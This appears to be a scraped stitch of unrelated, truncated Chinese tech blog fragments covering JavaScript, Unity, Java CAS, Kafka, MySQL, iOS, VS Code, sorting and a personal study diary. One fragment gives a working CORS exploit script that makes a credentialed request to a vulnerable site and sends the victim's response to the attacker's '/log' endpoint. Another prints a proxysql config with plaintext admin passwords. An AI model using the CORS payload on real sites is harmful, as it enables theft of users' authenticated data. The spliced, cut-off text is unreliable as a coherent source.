当定义和调用函数时,JavaScript 函数对象会自动具有一些特定的属性,以下是一些常见的属性和方法。
1. arguments : arguments 是一个类数组对象,它包含了函数调用时传递的参数。它允许你在函数内部访问传递给函数的参数列表,即使在函数定义时未明确声明这些参数。可以通过索引访问 arguments 对象中的参数值,也可以使用 arguments.length 获取传递的参数个数。
function exampleFunc(a, b) { console.log(arguments[0]); // 访问第一个参数 console.log(arguments.length); // 参数的个数 } exampleFunc(1, 2, 3); // 1,3
注意:在es6开始,推荐使用剩余参数或者使用命名参数来代替使用 arguments 对象。
2. length : length 属性返回函数声明时的形参数量,即函数期望接收的参数个数。它表示函数定义时定义的形参个数,不包括剩余参数。
function exampleFunc(a, b, c) { // 函数体 } console.log(exampleFunc.length); // 3
3. name : name 属性返回函数的名称。对于具名函数,它返回函数的实际名称。
function namedFunction() { // 函数体 } const anonymousFunction = function() { // 函数体 } console.log(namedFunction.name); // namedFunction console.log(anonymousFunction.name); // anonymousFunction
这些属性使得函数对象在运行时具有额外的元数据,可以根据需要访问这些属性来获取有关函数的信息,例如函数的参数、参数个数和名称。这些属性在编写灵活和通用的函数时非常有用。
4. caller : caller 属性返回一个调用当前函数的函数引用。如果当前函数是在全局作用域中被调用的,那么 caller 将返回 null 。该属性在严格模式下被禁用。
function outerFunc() { innerFunc(); } function innerFunc() { console.log(innerFunc.caller); // outerFunc } outerFunc();
5. prototype : prototype 属性允许你向函数对象添加新的属性和方法。它用于创建基于原型继承的对象。
function Person(name) { this.name = name; } Person.prototype.sayHello = function() { console.log("Hello, " + this.name); }; const person = new Person("John"); person.sayHello(); // Hello, John
6. bind() : bind() 方法返回一个新的函数,该函数在调用时将指定的 this 值绑定到提供的参数,用于创建函数的新实例并永久性地绑定函数的上下文。
const obj = { name: "John", greet: function() { console.log("Hello, " + this.name); } }; const boundFunc = obj.greet.bind(obj); boundFunc(); // Hello, John
类似的还有 apply() 、 call() 、 toString() 等。
7. constructor : constructor 属性返回创建函数对象的原型对象的引用。
function Person(name) { this.name = name; } const person = new Person("John"); console.log(person.constructor); // 输出:Person
Unity开发工作中,在Hierarchy窗口搜索栏可以通过物体名称或组件名称对场景中的物体进行搜索,但是并不能满足我们一些其它的搜索要求,例如搜索指定Tag标签的物体,或者指定Layer层级的物体,或者指定Active状态的物体,或者更为复杂的一些搜索,比如我们想找到场景中所有隐藏的、且挂有Camera组件的、且标签为MainCamera的物体,这些都无法实现。今天分享一个作者为了解决上述搜索需求而开发的Filter物体筛选器:其中Target是指需要进行筛选的所有物体,All是指对场景中的所有物体进行筛选,也可以指定一个根级,对这个根物体的所有子物体进行筛选: 确定好要进行筛选的物体后,下面来创建筛选条件: 1.Name通过物体名称的关键字进行筛选2.Component通过组件进行筛选-物体是否挂有指定组件 3.Layer通过物体的Layer层级进行筛选4.Tag通过物体的Tag标签进行筛选 5.Active通过物体的活跃状态进行筛选 以上是单个条件的筛选方式,我们也可以创建复合条件,即多个条件对物体进行筛选,比如文章开始提到的,我们要找到场景中所有隐藏的、且挂有Camera组件的
大家好,又见面了,我是你们的朋友全栈君。参考文档:http://www.blogjava.net/xylz/archive/2010/07/04/325206.htmlhttp://blog.hesey.net/2011/09/resolve-aba-by-atomicstampedreference.htmlhttp://www.searchsoa.com.cn/showcontent_69238.htm聊聊并发(五)原子操作的实现原理http://www.infoq.com/cn/articles/java-memory-model-5java.util.concurrent包完全建立在CAS之上的,没有CAS就不会有此包。可见CAS的重要性。CASCAS:CompareandSwap,翻译成比较并交换。java.util.concurrent包中借助CAS实现了区别于synchronouse同步锁的一种乐观锁。本文先从CAS的应用说起,再深入原理解析。CAS应用CAS有3个操作数,内存值V,旧的预期值A,要修改的新值B。当且仅当预期值A和内存值V相同时,将内存值V修改为B,否则什
整合 Kafka说明http://spark.apache.org/docs/2.4.5/structured-streaming-kafka-integration.htmlApacheKafka是目前最流行的一个分布式的实时流消息系统,给下游订阅消费系统提供了并行处理和可靠容错机制,现在大公司在流式数据的处理场景,Kafka基本是标配。StructuredStreaming很好的集成Kafka,可以从Kafka拉取消息,然后就可以把流数据看做一个DataFrame,一张无限增长的大表,在这个大表上做查询,StructuredStreaming保证了端到端的exactly-once,用户只需要关心业务即可,不用费心去关心底层是怎么做的StructuredStreaming既可以从Kafka读取数据,又可以向Kafka写入数据添加Maven依赖:dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-sq
文章作者:Tyan 博客:noahsnail.com|CSDN|简书1.Description2.Solution**解析:**Version1,使用前缀和来解决,遍历数组,求前缀和,求前缀和与k的余数,余数在字典中存在时,则意味着当前前缀和减去之前的前缀和等于k的倍数,此时计算两个前缀和的长度差,如果大于等于2,则返回True,如果余数不存在,则将余数保存在字典中并记录其索引位置。由于余数相同时不会更新索引,因此,字典中前缀和余数相同时,保存的是最靠前的位置。注意,假设第一个数就等于k的倍数,此时数组中没有余数0的位置,因此stat[0]=-1,这样计算的长度才不会错。Version1classSolution: defcheckSubarraySum(self,nums:List[int],k:int)->bool: n=len(nums) total=0 stat={} stat[0]=-1 foriinrange(n): total+=nums[i] remainder=total%k ifremainderinstat: length=i-stat[remainder]
为什么使用slf4j+logbacklogbak定位于log4j的替代者,logback同样支持slf4j,方便被替换。在Android平台上,我在使用log4中遇到tag混乱的问题。相比log4j,logback-android的jar更小巧。下载jar包前往https://github.com/tony19/logback-android,下载获得logback-android-1.1.1-4.jarslf4j-api-1.7.6.jar导入到工程中将上面的两个jar文件放入项目中的libs中,并添加项目引用。配置日志文件的位置注意下面代码中的configureLogbackDirectly方法,它接收一个文件路径参数,指示存放日志文件的目录,还有一个是生成的日志文件的前缀。我下面配置了“每天生成一个新的日志文件”。packagevir56k.logdemo; importandroid.os.Environment; importorg.slf4j.LoggerFactory; importjava.io.File; importch.qos.logback.classic.L
总算有网了,这个东西也是好几天前走过的坑了,现在来记录一下。对于低版本的Ubuntu来说直接用以下命令就可以安装MySQL了sudoaptinstallmysql-server复制这里安装的话,默认安装的是MySQL5.7的,但是由于兼容性问题,Ubuntu19已经不支持其运行了,包括Ubuntu18也是不支持的。在安装过程中,没有提示需要输入root密码,在安装完成后,对其root密码进行重置后,但是还是不能正常登陆的,经过查询,才发现是因为Ubuntu高版本已经不支持MySQL5.7的版本了,具体的信息可以在下面的这个页面中继续查询。https://dev.mysql.com/downloads/mysql/复制在经过多次踩坑之后,发现只需要安装MySQL8.3就可以完美解决这个问题了。可以在下面的这个链接中进行下载https://dev.mysql.com/downloads/repo/apt/复制等下载回来之后,执行以下命令sudodpkg-imysql-apt-config_0.8.13-1_all.deb复制在前面选择完成之后,切换到最下面的“OK”,然后摁“Tab”键,切
我把Hybrisservicelayer理解成CRMWebUI的APIlayer.TheHybrisServiceLayerisanAPIfordevelopingservicesforSAPHybrisCommerce.Itprovidesanumberofcommonservices,whileallowingyoutoextendtheseordevelopyourown.ThemaincharacteristicsoftheServiceLayerare:-我逐条和CRMWebUI框架比较(1)Itisbasedonaservice-orientedarchitecture.Jerry:Hybris里的SOA架构和BYD不一样,后者支持不同的deploymentunit部署在不同服务器上,crossunit的应用通过message通信。Hybris是一个monolithic应用,所有的extension物理上都运行在一台server,一个session里(不考虑clustermode)(2)Itprovidesacleanseparationofbusinesslogicand
GenerativeFaceCompletion CVPR2017 https://arxiv.org/abs/1704.05838Code:https://github.com/Yijunmaverick/GenerativeFaceCompletion首先来直观的认识一下人脸修复是什么?输入一个有缺失的人脸图像,得到完整的人脸图像 本文算法训练流程图如下: 主要由三个模块构成:Generator,Discriminator,Parsingnetwork 3.1.Generator 这里的Generator被设计为一个autoencoder,输入不完整的图像,输出修复后的图像。这里我们使用了VGG19的前半部分网络结构,外加2个卷积层,一个池化层,一个全链接层。decoder和encoder是对称的,使用了unpooling层用于放大特征图尺寸3.2.Discriminator 这里使用了两个Discriminator,一个localDiscriminator,一个globalDiscriminator localDiscriminator是针对缺失图像区域的 globalDiscr
概述Android人脸识别APP事例,大家可以参考一下。注意这不是一下特别完整的项目,只有安卓端程序,缺少后台的程序。但大家也可以学习下吧。举一反三功能支持人脸识别、1:1比对、1:N比对。使用 1、下载文件到本地,并解压出来;2、下载doc目录中对应的lib包到本地并解压:下载https://gitee.com/wisFaceAndroid/android-face.git截图SpringCloud系列精品文章1、springcloud学习手册-什么是微服务?2、springcloud学习手册-什么是springcloud? 3、springcloud学习手册-Eureka(第一节)? 4、springcloud学习手册-Eureka(第二节)? 5、springcloud学习手册-Eureka(第三节)? 6、springcloud学习手册-Eureka常见问题总结 7、springcloud学习手册-Ribbon(第一节) 8、springcloud学习手册-Ribbon(第二节) 9、springcloud学习手册-Ribbon(常见问题和补充说明) 10、springclou
怎样才知道自己office的版本呢?在电脑桌面或者是开始菜单的所有程序中,找到office的其中一个产品,如这里的word,点击打开,进入到word中。进入word之后,点击左上角的"文件",进入到文件选项栏目。在文件栏目下,点击中间的"账户"按钮,进入到word账户中。进入账户之后,在右下角有一个"?"号,关于"xxx"如果你打开的是excel,则是"关于excel",点击它。进入到"关于xx"的界面,如这里的关于word,在右上角,就可以看见word的位数,这就是所安装的office的位数。可以看到我的是64位的,建设是多少位系统就安装多少位的office点击下方"确定"关闭查看窗口,点击"x"关闭剩下的窗口,可以继续其他操作可。
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我现在最重要就是操练英语技能 从现在开始,腾空自己大脑,只去思考和关注和英语有关的一切事物,除此之外,全部都可以忽略忽略,不能忽略敷衍,实在不行就机械化。反正不能占用我大脑和时间做无意义思考,会完全浪费我的宝贵时间 只剩两个月,阅读,听力,口语,写作都要开始全面开工了,聚焦英语工具的操练,不断操练。并且做反馈工作,不断调整强度。要在两个月后去考雅思。换工作内容,提高生存质量。然后在想着之后的任务。 其次是每天骑单车,坚持一定时间的锻炼 对于我而言,我需要的是将我的时间投入到我目标上,我的智商是足够我学会技能的,我所拥有的方法也是足够我解决这些过程中的问题,而最大的问题是我一直分散注意力,并没有投入多大时间放在技能上。摸着良心问自己,我到底花了多少时间思考和反刍技能?恐怕我一直都在自我欺骗。我也是昨天发现我居然一直都没有投入时间锻炼,只有将时间投入进去,才能再去思考效率这件事,我得形体因为没有投入时间锻炼,哪怕是一个小时的时间保持我的形体都不会存在现在的走形。 虽然只是稍微没有以前那么完美前凸后翘的身形。但我已经知道如果不及时挽救,到了真的走形,就会非常痛苦的重新锻炼。这是我不允许自己出
在vue开发中,我们会遇到很多关于打印的需求,我将比较常用的方法记录一下。 我使用的方法是在页面设置一个节点,获取该节点,通过给该节点追加样式来实现打印。 html页面元素 <divid="review-print-box"v-show="false"> 需要打印的内容 </div>复制 v-show="false"确保该节点不会在页面中显示 js实现打印 setPrint(){ varhtml=document.getElementById("review-print-box").innerHTML; varw=window.open(location.href); varstyle=w.document.createElement("style"); style.type="text/css"; style.innerText=` 打印内容元素的样式... `; w.document.getElementsByTagName("head").item(0).appendChild(style); w.document.bod
iOS的设备及分辨率(iPhone竖屏/iPad横屏) 设备 分辨率 横宽比 iPhone3GS、iPodTouch第三代 320*480 2:3 iPhone4、iPodTouch第四代 640*960 2:3 iPhone5 640*1136 9:16 iPad1、iPad2、iPadmini 1024*768 4:3 iPad3和iPad4 2048*1536 4:3 注意:在iOS开发中是以“点”为单位的,而不是以“像素”为单位的! iOS的设备图标文件命名及尺寸 设备 文件名 大小 iPhone3GS、iPodTouch第三代 Icon.png 57*57 iPhone4、iPodTouch第四代 Icon@2x.png 114*114 iPhone5 Icon@2x.png 114*114 iPad1、iPad2、iPadmini Icon-72.png 72*72 iP
注意: 需要修改 proxysql_servers、interfaces,其他的不用改动 #fileproxysql.cnf datadir="/data/proxysql/data" errorlog="/data/proxysql/logs/proxysql.log" admin_variables= { admin_credentials="admin:admin;yoon_ha:aRnzLdkJq3cF7#99" mysql_ifaces="0.0.0.0:6032" cluster_username="yoon_ha"#集群用户名称,与最上面的相同 cluster_password="aRnzLdkJq3cF7#99"#集群用户密码,与最上面的相同 cluster_check_interval_ms=200 cluster_check_status_frequency=100 cluster_mysql_query_rules_save_to_disk=true cluster_mysql_servers_save_to_disk=true cluste
最近整理使用的一些工具类型,下面是在使用6位验证码的工具类型,包含过期时间,校验方法, 具体介绍 1使用场景——前端向后台请求验证码(图片验证码),然后后台根据前端输入验证码验证是否正确 代码 packagecom.*******.util.code; importjava.time.Duration; importjava.time.LocalDateTime; importjava.util.Map; importjava.util.Random; importjava.util.concurrent.ConcurrentHashMap; /** *功能描述:<br> *〈生成验证码工具类〉 *@return: *@since:1.0.0 *@Author: *@Date: */ publicclassCodeUtil{//map集合用于保存验证码实体,建议使用ConcurrentHashMap以避免删除时出现集合index出现非预期值报错 privatestaticMap<String,CodeEntity>codeMap=newCo
vscode全称VisualStudioCode是微软开发一款IDE,官方地址 vscode 作为一款前端编辑器功能很强大,灵活,可以根据个人喜好选择扩展插件,而且还支持多种开发语言, 关于vscode的几点小提示: 1)默认情况下vscode会读取操作系统的显示语言进行匹配,如果语言环境获取不到,就会显示默认英语; 2)vscode提供了各式主题颜色,可供用户偏好选择 ——状态栏:文件=>首选项=>颜色主题(或者点击左下角设置符号弹出来选项框) 3)vscode提供了各类文件图标icon主题,可供用户偏好选择 ——状态栏:文件=>首选项=>文件图标主题(或者点击左下角设置符号弹出来选项框) 效果如下: 4)快捷键 keybindings ——推荐几个常用的快捷键: ——1)“Ctrl+B”=>隐藏/显示左侧导航 ——2)“Ctrl+K”+"Z"=>切换至全屏模式(禅宗模式)有利于集中注意力开发 ——3)“Ctrl++” =>放大编辑器页面字体 ——4)“Ctrl+-”&nbs
CORS的相关标头,Access-Control-Allow-Origin头包含在一个网站对来自另一个网站的请求的响应中,并标识请求的允许来源。Web浏览器将Access-Control-Allow-Origin与请求网站的来源进行比较,如果它们匹配,则允许访问响应。 复现 通过抓包发现目标站点回显中存在 Access-Control-Allow-Credentials 在攻击服务器上配置攻击代码 $url部分换成CORS跨域漏洞地址 <script> varreq=newXMLHttpRequest(); req.onload=reqListener; req.open('get','$url',true); req.withCredentials=true; req.send(); functionreqListener(){ location='/log?key='+this.responseText; }; </script> 复制 受害者访问后,会连带着返回内容发送到/log文件 值得注意的是 实现手法和CSRF有点类似,但原理不同。
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桶排序(BucketSort)的原理很简单,它是将数组分到有限数量的桶子里。 假设待排序的数组a中共有N个整数,并且已知数组a中数据的范围[0, MAX)。在桶排序时,创建容量为MAX的桶数组r,并将桶数组元素都初始化为0;将容量为MAX的桶数组中的每一个单元都看作一个"桶"。 在排序时,逐个遍历数组a,将数组a的值,作为"桶数组r"的下标。当a中数据被读取时,就将桶的值加1。例如,读取到数组a[3]=5,则将r[5]的值+1。 #include<stdio.h> #include<stdlib.h> #include<string.h> //数组长度 #defineLENGTH(array)((sizeof(array))/(sizeof(array[0])) ) voidbucket_sort(inta[],intn,intmax) { inti,j; int*buckets; if(a==NULL||n< 1||max<1) &nbs